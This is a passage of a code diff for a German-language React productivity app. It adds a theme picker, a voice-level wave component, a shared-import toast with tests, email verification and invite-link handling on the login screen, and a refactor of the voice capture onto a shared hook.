+        className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] w-[calc(100vw-1.5rem)] max-w-md panel-surface shadow-panel overflow-hidden p-4 space-y-3 animate-in fade-in slide-in-from-bottom-2 duration-200"
+      >
+        <button
+          type="button"
+          onClick={onClose}
+          aria-label="Schließen"
+          className="absolute top-2 right-2 h-8 w-8 flex items-center justify-center rounded-btn text-faint hover:text-main"
+        >
+          <X className="w-4 h-4" />
+        </button>
+        <div className="pr-8">
+          <p className="flex items-center gap-2 text-base font-semibold text-main">
+            <Inbox className="w-5 h-5 text-accent shrink-0" />
+            {count === 1 ? 'Im Quick Dump abgelegt' : `${count} Einträge im Quick Dump abgelegt`}
+          </p>
+          <p className="text-xs text-muted mt-1">
+            {choosingList ? 'Auf welche Liste?' : 'Oder gleich woanders hin:'}
+          </p>
+        </div>
+
+        {failed && <p className="text-xs text-status-err">Umwandeln hat nicht geklappt – der Eintrag bleibt im Quick Dump.</p>}
+
+        {!choosingList ? (
+          <div className={`grid gap-2 ${writableLists.length > 0 ? 'grid-cols-2' : 'grid-cols-1'}`}>
+            {writableLists.length > 0 && (
+              <button type="button" disabled={busy} onClick={toList} className={`${big} bg-canvas border border-border text-main`}>
+                <ShoppingCart className="w-4 h-4 text-accent" />
+                <span>Liste</span>
+              </button>
+            )}
+            <button type="button" disabled={busy} onClick={() => convert('task')} className={`${big} bg-accent text-on-accent`}>
+              <CheckSquare className="w-4 h-4" />
+              <span>Aufgabe</span>
+              <ArrowRight className="w-4 h-4" />
+            </button>
+          </div>
+        ) : (
+          <div className="grid grid-cols-2 gap-2">
+            {writableLists.map((l) => (
+              <button
+                key={l.id}
+                type="button"
+                disabled={busy}
+                onClick={() => convert('list_item', l)}
+                className={`${big} bg-canvas border border-border text-main`}
+              >
+                <span>{l.icon}</span>
+                <span className="truncate">{l.title}</span>
+              </button>
+            ))}
+          </div>
+        )}
+      </div>
+    </>
+  );
+};

frontend/src/components/ThemeQuickPicker.tsx

@@ -0,0 +1,118 @@
+import React, { useState } from 'react';
+import { Monitor, Moon, Sun } from 'lucide-react';
+import {
+  AVAILABLE_THEMES,
+  getFollowSystem,
+  resolveTheme,
+  setFollowSystem,
+  THEME_FAMILIES,
+  ThemeId,
+  ThemeOption,
+} from '../lib/theme';
+
+interface ThemeQuickPickerProps {
+  activeTheme: ThemeId;
+  /** All themes including the user's own (shown as small chips) */
+  themes: ThemeOption[];
+  onChange: (id: ThemeId) => void;
+  /** Bigger touch targets in the phone sheet */
+  touch?: boolean;
+}
+
+// Compact switcher for the user menu: one dot per colour family plus light/dark; own themes below
+export const ThemeQuickPicker: React.FC<ThemeQuickPickerProps> = ({ activeTheme, themes, onChange, touch = false }) => {
+  const active = AVAILABLE_THEMES.find((t) => t.id === activeTheme);
+  const mode = active?.mode ?? 'dark';
+  const customThemes = themes.filter((t) => t.isCustom);
+  const dot = touch ? 'w-9 h-9' : 'w-7 h-7';
+  // Kept in state: choosing "System" may not change the theme, but the selection must still show
+  const [followSystem, setFollow] = useState(getFollowSystem);
+  const pick = (id: ThemeId) => onChange(resolveTheme(id));
+
+  return (
+    <div className="space-y-2">
+      <div className="flex items-center justify-between gap-1">
+        <div className="flex w-full items-center justify-between" role="radiogroup" aria-label="Farbfamilie">
+          {THEME_FAMILIES.map((f) => {
+            const preview = AVAILABLE_THEMES.find((t) => t.id === (mode === 'light' ? f.light : f.dark));
+            const selected = active?.family === f.id;
+            return (
+              <button
+                key={f.id}
+                type="button"
+                role="radio"
+                aria-checked={selected}
+                onClick={() => pick(mode === 'light' ? f.light : f.dark)}
+                title={f.name}
+                className={`${dot} rounded-full flex items-center justify-center transition-transform active:scale-95 cursor-pointer ${
+                  selected ? 'ring-2 ring-accent ring-offset-2 ring-offset-panel' : 'hover:scale-105'
+                }`}
+                style={{ backgroundColor: preview?.previewBg }}
+              >
+                <span className="w-3 h-3 rounded-full" style={{ backgroundColor: preview?.previewAccent }} />
+              </button>
+            );
+          })}
+        </div>
+      </div>
+      {/* Own row: three labelled segments, so it fits narrow menus */}
+      <div className="grid grid-cols-3 rounded-full bg-panel-elevated p-0.5" role="radiogroup" aria-label="Hell oder dunkel">
+          {(['light', 'dark', 'auto'] as const).map((m) => {
+            const family = active?.family ? THEME_FAMILIES.find((f) => f.id === active.family) : undefined;
+            const selected = m === 'auto' ? followSystem : !followSystem && !!active && mode === m;
+            const disabled = !family;
+            return (
+              <button
+                key={m}
+                type="button"
+                role="radio"
+                aria-checked={selected}
+                disabled={disabled}
+                onClick={() => {
+                  if (!family) return;
+                  setFollowSystem(m === 'auto');
+                  setFollow(m === 'auto');
+                  onChange(m === 'auto' ? resolveTheme(family.dark) : family[m]);
+                }}
+                title={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
+                aria-label={m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'Wie System'}
+                className={`${touch ? 'h-9' : 'h-7'} rounded-full flex items-center justify-center gap-1 text-[11px] font-medium transition-colors cursor-pointer disabled:opacity-40 disabled:cursor-not-allowed ${
+                  selected ? 'bg-panel text-accent shadow-sm' : 'text-muted hover:text-main'
+                }`}
+              >
+                {m === 'light' ? (
+                  <Sun className="w-3.5 h-3.5" />
+                ) : m === 'dark' ? (
+                  <Moon className="w-3.5 h-3.5" />
+                ) : (
+                  <Monitor className="w-3.5 h-3.5" />
+                )}
+                <span>{m === 'light' ? 'Hell' : m === 'dark' ? 'Dunkel' : 'System'}</span>
+              </button>
+            );
+          })}
+      </div>
+      {customThemes.length > 0 && (
+        <div className="flex flex-wrap gap-1">
+          {customThemes.map((t) => (
+            <button
+              key={t.id}
+              type="button"
+              onClick={() => {
+                setFollowSystem(false);
+                setFollow(false);
+                onChange(t.id);
+              }}
+              className={`h-7 px-2 rounded-full text-[11px] flex items-center gap-1.5 border transition-colors cursor-pointer ${
+                activeTheme === t.id ? 'border-accent text-main' : 'border-border text-muted hover:text-main'
+              }`}
+            >
+              <span className="w-2.5 h-2.5 rounded-full" style={{ backgroundColor: t.previewAccent }} />
+              <span className="truncate max-w-[8rem]">{t.name}</span>
+            </button>
+          ))}
+        </div>
+      )}
+    </div>
+  );
+};

frontend/src/components/VoiceWave.tsx

@@ -0,0 +1,58 @@
+import React, { useEffect, useRef } from 'react';
+
+interface VoiceWaveProps {
+  /** Input level 0..1; null (unknown, e.g. browser recognition) shows a calm idle wave. */
+  getLevel: () => number | null;
+  bars?: number;
+  /** Bar colour and size come from the caller, e.g. "h-4 text-accent". */
+  className?: string;
+}
+
+// Live wave reacting to the voice. Heights are set directly on the bars every frame, so React does
+// not re-render 60 times a second.
+export const VoiceWave: React.FC<VoiceWaveProps> = ({ getLevel, bars = 5, className = 'h-4 text-accent' }) => {
+  const barRefs = useRef<(HTMLSpanElement | null)[]>([]);
+  const getLevelRef = useRef(getLevel);
+  getLevelRef.current = getLevel;
+
+  useEffect(() => {
+    const history: number[] = new Array(bars).fill(0);
+    let frame = 0;
+    let raf = 0;
+    const reduceMotion = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
+    const tick = () => {
+      frame++;
+      const measured = getLevelRef.current();
+      const level = measured ?? 0.25 + 0.2 * Math.sin(frame / 9);
+      // Newest level enters in the middle and travels outwards
+      if (frame % 3 === 0) {
+        history.pop();
+        history.unshift(level);
+      }
+      const mid = Math.floor(bars / 2);
+      barRefs.current.forEach((el, i) => {
+        if (!el) return;
+        const v = reduceMotion ? 0.5 : history[Math.abs(i - mid)] ?? 0;
+        el.style.transform = `scaleY(${Math.max(0.15, Math.min(1, v * 1.4))})`;
+      });
+      raf = requestAnimationFrame(tick);
+    };
+    raf = requestAnimationFrame(tick);
+    return () => cancelAnimationFrame(raf);
+  }, [bars]);
+
+  return (
+    <span className={`inline-flex items-center gap-[3px] ${className}`} aria-hidden="true">
+      {Array.from({ length: bars }, (_, i) => (
+        <span
+          key={i}
+          ref={(el) => {
+            barRefs.current[i] = el;
+          }}
+          className="w-[3px] h-full rounded-full bg-current origin-center transition-transform duration-75"
+          style={{ transform: 'scaleY(0.15)' }}
+        />
+      ))}
+    </span>
+  );
+};

frontend/src/components/__tests__/SharedImportToast.test.tsx

@@ -0,0 +1,61 @@
+import React from 'react';
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent, waitFor } from '@testing-library/react';
+import { SharedImportToast } from '../SharedImportToast';
+import { api } from '../../lib/api';
+import { SharedList } from '../../lib/types';
+
+const list = (id: string, title: string, role: string, isOwner = false): SharedList => ({
+  id, title, icon: '🛒', listType: 'shopping', isOwner, role, items: [],
+  createdAt: '2026-10-31T10:00:00Z', updatedAt: '2026-10-31T10:00:00Z',
+});
+
+describe('SharedImportToast (after sharing into MindSift)', () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('sends every shared entry on as a task', async () => {
+    const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
+    const onConverted = vi.fn();
+    render(<SharedImportToast thoughtIds={['th_1', 'th_2']} lists={[]} onClose={() => {}} onConverted={onConverted} />);
+    expect(screen.getByText('2 Einträge im Quick Dump abgelegt')).toBeTruthy();
+    expect(screen.queryByText('Liste')).toBeNull(); // no writable list, no list button
+    fireEvent.click(screen.getByText('Aufgabe'));
+    await waitFor(() => expect(onConverted).toHaveBeenCalledWith('2 Aufgaben angelegt'));
+    expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'task', targetListId: undefined });
+    expect(spy).toHaveBeenCalledWith('th_2', 'keep', { convertTo: 'task', targetListId: undefined });
+  });
+
+  it('puts it straight onto the only writable list', async () => {
+    const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
+    const onConverted = vi.fn();
+    render(
+      <SharedImportToast
+        thoughtIds={['th_1']}
+        lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'WG-Archiv', 'viewer')]}
+        onClose={() => {}}
+        onConverted={onConverted}
+      />
+    );
+    fireEvent.click(screen.getByText('Liste'));
+    await waitFor(() => expect(onConverted).toHaveBeenCalledWith('Eintrag auf „Wocheneinkauf“'));
+    expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l1' });
+  });
+
+  it('lets you pick among several lists, read-only ones left out', async () => {
+    const spy = vi.spyOn(api, 'triageAction').mockResolvedValue({} as any);
+    render(
+      <SharedImportToast
+        thoughtIds={['th_1']}
+        lists={[list('l1', 'Wocheneinkauf', 'owner', true), list('l2', 'Baumarkt', 'editor'), list('l3', 'WG-Archiv', 'viewer')]}
+        onClose={() => {}}
+        onConverted={() => {}}
+      />
+    );
+    fireEvent.click(screen.getByText('Liste'));
+    expect(screen.queryByText('WG-Archiv')).toBeNull();
+    fireEvent.click(screen.getByText('Baumarkt'));
+    await waitFor(() => expect(spy).toHaveBeenCalledWith('th_1', 'keep', { convertTo: 'list_item', targetListId: 'l2' }));
+  });
+});

frontend/src/features/auth/SetupAndAuthView.tsx

@@ -1,4 +1,4 @@
-import React, { useState } from 'react';
+import React, { useEffect, useState } from 'react';
 import {
   Brain,
   Shield,
@@ -43,13 +43,71 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
   const [createSampleData, setCreateSampleData] = useState(false);
 
   // --- Login / Invite / Register State ---
+  // An invite link (?invite=CODE) opens the invite form with the code filled in
+  const [linkInviteCode] = useState(() => new URLSearchParams(window.location.search).get('invite')?.trim().toUpperCase() || '');
   const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register' | 'forgot' | 'reset'>(
-    resetToken ? 'reset' : 'login'
+    resetToken ? 'reset' : linkInviteCode ? 'invite' : 'login'
   );
   const [email, setEmail] = useState('');
   const [password, setPassword] = useState('');
   const [displayName, setDisplayName] = useState('');
-  const [inviteCode, setInviteCode] = useState('');
+  const [inviteCode, setInviteCode] = useState(linkInviteCode);
+  // Link from the confirmation mail (?verifyToken=…): confirm right away and say what happens next
+  useEffect(() => {
+    const url = new URL(window.location.href);
+    const token = url.searchParams.get('verifyToken');
+    if (!token) return;
+    url.searchParams.delete('verifyToken');
+    window.history.replaceState({}, '', url.pathname + url.search + url.hash);
+    setAuthTab('login');
+    api
+      .verifyEmail(token)
+      .then((res) => setNotice(res.message))
+      .catch((err) => setError(err.message || 'Der Bestätigungslink ist ungültig oder abgelaufen.'));
+  }, []);
+  // Login refused because the address is not confirmed: offer to send the link again
+  const [resendState, setResendState] = useState<'idle' | 'sending' | 'sent'>('idle');
+  const resendVerification = async () => {
+    setResendState('sending');
+    try {
+      await api.resendVerification(email.trim());
+      setResendState('sent');
+      setError(null);
+      setNotice('Falls die Adresse noch auf Bestätigung wartet, haben wir dir den Link erneut geschickt.');
+    } catch (err: any) {
+      setResendState('idle');
+      setError(err.message || 'Senden fehlgeschlagen');
+    }
+  };
+
+  // The code is in the form now; it should not stay in the address bar (history, screenshots)
+  useEffect(() => {
+    if (!linkInviteCode) return;
+    const url = new URL(window.location.href);
+    url.searchParams.delete('invite');
+    window.history.replaceState({}, '', url.pathname + url.search + url.hash);
+  }, [linkInviteCode]);
+  // Hint on the sign-up form: which addresses get in, and whether an admin approves first
+  const registrationHint = (() => {
+    const domains = (authStatus.registrationDomains || []).map((d) => '@' + d.replace(/^\*\./, '')).join(', ');
+    switch (authStatus.registrationMode) {
+      case 'approval':
+        return 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
+      case 'open':
+        return authStatus.emailVerification ? 'Du bekommst eine E-Mail, um deine Adresse zu bestätigen.' : '';
+      case 'domain':
+        return domains ? `Registrierung mit E-Mail-Adressen von ${domains}.` : '';
+      case 'domain+approval':
+        return domains
+          ? `Mit Adressen von ${domains} geht es sofort, andere Konten gibt ein Administrator frei.`
+          : 'Nach der Registrierung gibt ein Administrator dein Konto frei.';
+    }
+    return '';
+  })();
+  const registrationHintFull =
+    registrationHint && authStatus.emailVerification && authStatus.registrationMode !== 'open'
+      ? `${registrationHint} Vorher bestätigst du deine Adresse per E-Mail.`
+      : registrationHint;
 
   const [submitting, setSubmitting] = useState(false);
   const [error, setError] = useState<string | null>(null);
@@ -167,6 +225,13 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
     try {
       const code = authTab === 'invite' ? inviteCode.trim() : '';
       const res = await api.register(email.trim(), password, displayName.trim(), code);
+      if (res.pending || !res.user) {
+        // Waiting for approval: back to the login form with the explanation
+        setNotice(res.message || 'Dein Konto wartet auf die Freigabe durch einen Administrator.');
+        setPassword('');
+        setAuthTab('login');
+        return;
+      }
       onAuthenticated(res.user);
     } catch (err: any) {
       setError(err.message || 'Registrierung fehlgeschlagen');
@@ -481,7 +546,17 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
           {error && (
             <div className="mb-4 alert-err flex items-center gap-2">
               <AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
-              <span>{error}</span>
+              <span className="flex-1">{error}</span>
+              {/bestätige zuerst deine E-Mail/i.test(error) && email.trim() && (
+                <button
+                  type="button"
+                  onClick={() => void resendVerification()}
+                  disabled={resendState !== 'idle'}
+                  className="btn-action h-8 px-2.5 text-[11px] shrink-0 disabled:opacity-50"
+                >
+                  {resendState === 'sending' ? 'Sende…' : 'Link erneut senden'}
+                </button>
+              )}
             </div>
           )}
           {notice && !error && (
@@ -687,6 +762,9 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
 
           {(authTab === 'invite' || authTab === 'register') && (
             <form onSubmit={handleRegisterOrInvite} className="space-y-3.5">
+              {authTab === 'register' && registrationHintFull && (
+                <p className="text-[11px] text-muted bg-canvas border border-border rounded-btn px-2.5 py-2">{registrationHintFull}</p>
+              )}
               {authTab === 'invite' && (
                 <div>
                   <label className="block text-muted mb-1">Einladungscode *</label>

frontend/src/features/capture/HoldToRecordFab.tsx

@@ -1,6 +1,8 @@
 import React, { useEffect, useRef, useState } from 'react';
 import { Mic, Plus } from 'lucide-react';
 import { triggerHaptic } from '../../lib/api';
+import { useVoiceInput } from '../../lib/useVoiceInput';
+import { VoiceWave } from '../../components/VoiceWave';
 
 export interface HoldToRecordFabProps {
   onTap: () => void;
@@ -24,14 +26,10 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
   const didEnterHoldRef = useRef(false);
   const fallbackHandledRef = useRef(false);
   const isCancelZoneRef = useRef(false);
-  const abortedRef = useRef(false);
-  const isStoppingRef = useRef(false);
-  const hasEndedRef = useRef(false);
   const finalizedRef = useRef(false);
   const startYRef = useRef(0);
   const transcriptRef = useRef('');
 
-  const recognitionRef = useRef<any>(null);
   const holdTimerRef = useRef<number | null>(null);
   const stopTimerRef = useRef<number | null>(null);
   const toastTimerRef = useRef<number | null>(null);
@@ -50,17 +48,66 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
     }
   };
 
-  const showToast = (msg: string) => {
+  const showToast = (msg: string, sticky = false) => {
     if (toastTimerRef.current !== null) {
       window.clearTimeout(toastTimerRef.current);
+      toastTimerRef.current = null;
     }
     setToastMessage(msg);
+    if (sticky) return;
     toastTimerRef.current = window.setTimeout(() => {
       setToastMessage(null);
       toastTimerRef.current = null;
     }, TOAST_DURATION_MS);
   };
 
+  const finalizeRecording = async (text: string) => {
+    if (finalizedRef.current) return;
+    finalizedRef.current = true;
+    clearStopTimer();
+    setLiveTranscript('');
+    const trimmed = text.trim();
+    if (!trimmed) {
+      showToast('Nichts erkannt');
+      return;
+    }
+    try {
+      await onTranscript(trimmed);
+      triggerHaptic(25);
+      showToast('Im Quick Dump gespeichert');
+    } catch {
+      showToast('Fehler beim Speichern');
+    }
+  };
+
+  // Own Whisper server (text after release) or the browser's recognition (text while speaking)
+  const voice = useVoiceInput({
+    continuous: true,
+    onText: (text, final) => {
+      transcriptRef.current = text;
+      if (!final) {
+        setLiveTranscript(text);
+        return;
+      }
+      void finalizeRecording(text);
+    },
+    onError: (message) => {
+      clearStopTimer();
+      setIsRecording(false);
+      setIsCancelZone(false);
+      setLiveTranscript('');
+      if (didEnterHoldRef.current && isPressedRef.current && !fallbackHandledRef.current) {
+        // Recording could not start: open the normal capture sheet instead
+        fallbackHandledRef.current = true;
+        showToast(message);
+        onTap();
+        return;
+      }
+      finalizedRef.current = true;
+      showToast(message);
+    },
+  });
+
   useEffect(() => {
     return () => {
       clearHoldTimer();
@@ -68,112 +115,28 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
       if (toastTimerRef.current !== null) {
         window.clearTimeout(toastTimerRef.current);
       }
-      if (recognitionRef.current) {
-        try {
-          recognitionRef.current.abort?.();
-        } catch {
-          // ignore cleanup errors
-        }
-      }
     };
   }, []);
 
-  const finalizeRecording = async () => {
-    if (finalizedRef.current) return;
-    finalizedRef.current = true;
-    clearStopTimer();
-    recognitionRef.current = null;
-
-    if (abortedRef.current) return;
-
-    const text = transcriptRef.current.trim();
-    setLiveTranscript('');
-    if (!text) {
-      showToast('Nichts erkannt');
-      return;
-    }
-
-    try {
-      await onTranscript(text);
-      triggerHaptic(25);
-      showToast('Im Quick Dump gespeichert');
-    } catch {
-      showToast('Fehler beim Speichern');
-    }
-  };
+  useEffect(() => {
+    if (voice.state === 'transcribing') showToast('Wird erkannt…', true);
+  }, [voice.state]);
 
   const startVoiceRecording = () => {
-    const SpeechRecognition =
-      (window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
-
-    if (!SpeechRecognition) {
+    if (voice.mode === 'off' || voice.mode === 'unsupported') {
       fallbackHandledRef.current = true;
-      showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
+      if (voice.mode === 'unsupported') showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
       onTap();
       return;
     }
-
-    try {
-      const recognition = new SpeechRecognition();
-      recognition.lang = 'de-DE';
-      recognition.interimResults = true;
-      recognition.continuous = true;
-
     transcriptRef.current = '';
-      abortedRef.current = false;
-      isStoppingRef.current = false;
-      hasEndedRef.current = false;
     finalizedRef.current = false;
     isCancelZoneRef.current = false;
-
-      recognition.onresult = (event: any) => {
-        let combined = '';
-        for (let i = 0; i < event.results.length; i++) {
-          combined += event.results[i][0].transcript;
-        }
-        transcriptRef.current = combined;
-        setLiveTranscript(combined);
-      };
-
-      recognition.onerror = (event: any) => {
-        const errCode = event?.error;
-        if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
-          abortedRef.current = true;
-          clearStopTimer();
-          setIsRecording(false);
-          setIsCancelZone(false);
-          setLiveTranscript('');
-          if (!fallbackHandledRef.current) {
-            fallbackHandledRef.current = true;
-            showToast('Mikrofon nicht freigegeben');
-            onTap();
-          }
-          return;
-        }
-        if (isStoppingRef.current) {
-          void finalizeRecording();
-        }
-      };
-
-      recognition.onend = () => {
-        hasEndedRef.current = true;
-        if (isStoppingRef.current) {
-          void finalizeRecording();
-        }
-      };
-
-      recognitionRef.current = recognition;
     setLiveTranscript('');
     setIsCancelZone(false);
     setIsRecording(true);
     triggerHaptic([15, 60, 25]);
-      recognition.start();
-    } catch {
-      fallbackHandledRef.current = true;
-      setIsRecording(false);
-      showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
-      onTap();
-    }
+    void voice.start();
   };
 
   const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -240,34 +203,23 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
     setIsCancelZone(false);
 
     if (isCancelZoneRef.current) {
-      abortedRef.current = true;
+      finalizedRef.current = true;
       clearStopTimer();
       setLiveTranscript('');
       triggerHaptic(15);
-      try {
-        recognitionRef.current?.abort?.();
-      } catch {
-        // ignore
-      }
-      recognitionRef.current = null;
-      return;
-    }
-
-    isStoppingRef.current = true;
-    if (hasEndedRef.current || !recognitionRef.current) {
-      void finalizeRecording();
+      voice.cancel();
       return;
     }
 
+    // The browser's recognition sometimes never reports its end: save what was heard after a moment.
+    // The own server answers when it is done (with its own time limit).
+    if (voice.mode !== 'server') {
       stopTimerRef.current = window.setTimeout(() => {
-      void finalizeRecording();
+        voice.cancel();
+        void finalizeRecording(transcriptRef.current);
       }, STOP_TIMEOUT_MS);
-
-    try {
-      recognitionRef.current.stop();
-    } catch {
-      void finalizeRecording();
     }
+    void voice.stop();
   };
 
   const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
@@ -283,16 +235,11 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
     clearStopTimer();
 
     if (didEnterHoldRef.current && !fallbackHandledRef.current) {
-      abortedRef.current = true;
+      finalizedRef.current = true;
       setIsRecording(false);
       setIsCancelZone(false);
       setLiveTranscript('');
-      try {
-        recognitionRef.current?.abort?.();
-      } catch {
-        // ignore
-      }
-      recognitionRef.current = null;
+      voice.cancel();
     }
   };
 
@@ -313,7 +260,8 @@ export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTrans
             <div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
           ) : (
             <div className="space-y-1">
-              <div className="text-xs font-semibold text-main">
+              <div className="text-xs font-semibold text-main flex items-center justify-center gap-2">
+                {voice.mode === 'server' && <VoiceWave getLevel={voice.level} bars={7} className="h-4 text-accent" />}
                 Ich höre zu… (loslassen speichert)
               </div>
               {displayedTranscript ? (

frontend/src/features/capture/InstantCaptureBar.tsx

@@ -1,8 +1,8 @@
-import React, { useEffect, useRef, useState } from 'react';
+import React, { useEffect, useRef, useState, useMemo } from 'react';
 import {
   Mic,
   MicOff,
-  ArrowUp,
+  ArrowDown,
   Sparkles,
   Calendar,
   Check,
@@ -13,9 +13,12 @@ import {
   ChevronDown,
   AlertTriangle,
   Flame,
+  Loader2,
 } from 'lucide-react';
 import { PriorityLevel, SharedList, Thought } from '../../lib/types';
 import { api, triggerHaptic } from '../../lib/api';
+import { useVoiceInput } from '../../lib/useVoiceInput';
+import { VoiceWave } from '../../components/VoiceWave';
 
 export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
 
@@ -38,23 +41,40 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
   hideTargetPicker = false,
   fixedTarget,
 }) => {
+  // Read-only shared lists cannot take new items; stable reference for the effect below
+  const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
   const [content, setContent] = useState('');
   const [priority, setPriority] = useState<PriorityLevel>('normal');
   const [dueDate, setDueDate] = useState('');
   const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
   const [targetListId, setTargetListId] = useState<string>('');
   const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
-  const [isListening, setIsListening] = useState(false);
+  const [voiceError, setVoiceError] = useState<string | null>(null);
   const [isSubmitting, setIsSubmitting] = useState(false);
   const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
   const [isMultiline, setIsMultiline] = useState(false);
 
   const inputRef = useRef<HTMLTextAreaElement>(null);
   const containerRef = useRef<HTMLFormElement>(null);
-  const recognitionRef = useRef<any>(null);
   const baseVoiceTextRef = useRef('');
   const hasVoiceInputRef = useRef(false);
 
+  // Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
+  const voice = useVoiceInput({
+    onText: (text, final) => {
+      const base = baseVoiceTextRef.current;
+      if (text) setContent(base ? `${base} ${text}` : text);
+      if (final) inputRef.current?.focus();
+    },
+    onError: (message) => {
+      setVoiceError(message);
+      window.setTimeout(() => setVoiceError(null), 4000);
+    },
+  });
+  const isListening = voice.state === 'listening';
+  const isTranscribing = voice.state === 'transcribing';
+  const [isOverMaxHeight, setIsOverMaxHeight] = useState(false);
+
   const adjustHeight = (el?: HTMLTextAreaElement | null) => {
     const targetEl = el || inputRef.current;
     if (!targetEl) return;
@@ -63,8 +83,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
       const scrollH = targetEl.scrollHeight;
       targetEl.style.height = `${Math.min(scrollH, 140)}px`;
       setIsMultiline(targetEl.value.includes('\n') || scrollH > 28);
+      setIsOverMaxHeight(scrollH > 140);
     } else {
       setIsMultiline(false);
+      setIsOverMaxHeight(false);
     }
   };
 
@@ -77,10 +99,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
   }, [autoFocusTrigger]);
 
   useEffect(() => {
-    if (!targetListId && lists.length > 0) {
-      setTargetListId(lists[0].id);
+    if (!targetListId && writableLists.length > 0) {
+      setTargetListId(writableLists[0].id);
     }
-  }, [lists, targetListId]);
+  }, [writableLists, targetListId]);
 
   // Close dropdown on outside click
   useEffect(() => {
@@ -118,57 +140,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
   }, []);
 
   const toggleVoiceDictation = () => {
-    const SpeechRecognition =
-      (window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
-
-    if (!SpeechRecognition) {
-      alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
-      return;
-    }
-
-    if (isListening && recognitionRef.current) {
-      recognitionRef.current.stop();
-      setIsListening(false);
-      return;
-    }
-
-    try {
+    if (voice.state === 'idle') {
       baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
       hasVoiceInputRef.current = true;
-
-      const recognition = new SpeechRecognition();
-      recognition.lang = 'de-DE';
-      recognition.continuous = false;
-      recognition.interimResults = true;
-
-      recognition.onstart = () => {
-        setIsListening(true);
+      setVoiceError(null);
       triggerHaptic(20);
-      };
-
-      recognition.onresult = (event: any) => {
-        let transcript = '';
-        for (let i = 0; i < event.results.length; i++) {
-          transcript += event.results[i][0].transcript;
-        }
-        const base = baseVoiceTextRef.current;
-        setContent(base ? `${base} ${transcript}` : transcript);
-      };
-
-      recognition.onerror = () => {
-        setIsListening(false);
-      };
-
-      recognition.onend = () => {
-        setIsListening(false);
-        inputRef.current?.focus();
-      };
-
-      recognitionRef.current = recognition;
-      recognition.start();
-    } catch {
-      setIsListening(false);
     }
+    voice.toggle();
   };
 
   const executeCapture = async (
@@ -180,11 +158,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
 
     const effectiveTarget = fixedTarget || overrideTarget || target;
     const effectiveListId =
-      overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
+      overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
     const capturedPriority = priority;
     const capturedDueDate = dueDate;
     const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
     hasVoiceInputRef.current = false;
+    // A recognition still running would refill the field after it was saved
+    if (voice.state !== 'idle') voice.cancel();
 
     // Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
     setContent('');
@@ -236,7 +216,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
     await executeCapture();
   };
 
-  const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
+  const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
 
   const getTargetLabel = () => {
     if (target === 'task') return 'Direkt-Aufgabe';
@@ -283,19 +263,25 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
               }
             }}
             placeholder={
-              isListening
+              voiceError
+                ? voiceError
+                : isListening
                 ? 'Ich höre zu…'
+                : isTranscribing
+                ? 'Wird erkannt…'
                 : hideTargetPicker || fixedTarget === 'inbox'
-                ? 'Quick Dump erfassen… (Enter zum Speichern)'
+                ? 'Quick Dump erfassen…'
                 : target === 'task'
-                ? 'Neue Aufgabe direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
+                ? 'Aufgabe erfassen…'
                 : target === 'list_item'
